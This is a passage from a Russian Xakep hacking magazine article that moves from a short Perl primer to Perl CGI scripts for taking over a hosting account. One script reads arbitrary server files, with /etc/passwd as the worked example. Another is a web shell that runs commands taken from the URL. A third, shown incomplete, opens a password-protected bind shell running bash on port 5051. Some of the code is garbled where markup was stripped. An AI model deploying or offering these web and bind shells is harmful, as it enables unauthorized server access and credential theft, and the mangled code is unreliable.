Электронная библиотека
Xakep
Юниксоид
Xakep, номер #013, стр. 013-056-3
Этот тот минимум функций, который я считаю важными для понимания ниже приведенных программ и языка вообще.
7) Подпрограммы следует определять в текущем либо во внешнем файле следующим образом:
sub name; или sub name (прототипы);
Вот собственно и все, но для лучшего понимания я напишу маленький пример:
#!/usr/bin/perl
$i=
if($i==13) {&hell;} else {&happydude;}
sub hell {print "pop music mustdie\n";}
sub happydude {print "your lame\n\a";}
Получаем Шелл!
Все! Кратчайший курс программирования на Perl'e окончен и теперь переходим собственно к тому самому, что написано в начале, то есть получение шелл-доступа и всего остального, что нам не дают буржуи ;).
Итак, у нас есть cgi-bin папка и ftp доступ, и мы знаем, насколько могуч язык Perl ;). Теперь напишем пару программок, которые дадут нам доступ ко всему.
1) Программа, которая будет открывать нам файлы на сервере:
#!/usr/bin/perl
$file = $ARGV[0]; #определяем, что имя файла это первый аргумент
print "Content-type: text/html\n\n"; #лабуда
print "
"; #рисуем столик для красоты open(bum,"<$file") || die "Файл не найден\n"; #открываем файл или орем, что его нет while( { print; #печать строки файла print " } close(bum); #закрываем файло print" |
"; #закрываем столик
# конец программы
Я думаю, пояснений больше не надо, набираем www.my-home.ru/cgi-bin/file.pl?/etc/passwd и получаем листинг файла с паролями.
2) Программа, исполняющая команды:
#!/usr/bin/perl
$file = $ARGV[0]; # определяем, что имя файла это первый аргумент
print "Content-type: text/html\n\n"; #лабуда
print "
"; #рисуем столик для красоты open(bum,"$file|") || die "Файл не найден\n"; #запускаем прогу или орем, что ее нет while( { print; #печать строки файла print " } close(bum); #закрываем прогу print" |
"; #закрываем столик
# конец программы
Ты заметил, что изменилось только строка открытия? Но теперь эта программа запускает другие проги (команды) и выдает результат! Достаточно только набрать www.my-home.ru/cgi-bin/file.pl?ls, и она выдаст тебе список файлов в текущем каталоге.
3) Программа, открывающая шелл на определенном порте:
#!/usr/bin/perl
$SHELL="/bin/bash -i"; #шелл
$LISTEN PORT=5051; #порт
$PASSWORD="66613"; #пароль
require 5.002; #необходимая версия
use Socket; #использование модуля работы с сокетами
$protocol = getprotobyname('tcp'); #используемый протокол
socket(S, &PF INET, &SOCK STREAM, $protocol) || die "ошибка\n";
setsockopt(S, SOL SOCKET, SO REUSEADDR, 1);
bind (S, sockaddr in($LISTEN PORT, INADDR ANY)) || die "ошибка\n";
listen (S, 3) || die "не могу открыть порт\n";
while (1) {
YOP: accept (T666, S) || goto YOP;
if (! ($pid=fork)) {
goto BYE if (! defined $pid); #fork failed
open STDIN, "<&T666";
open STDOUT, ">&T666";
open STDERR, ">&T666";
if($PASSWORD) { # проверка правильности пароля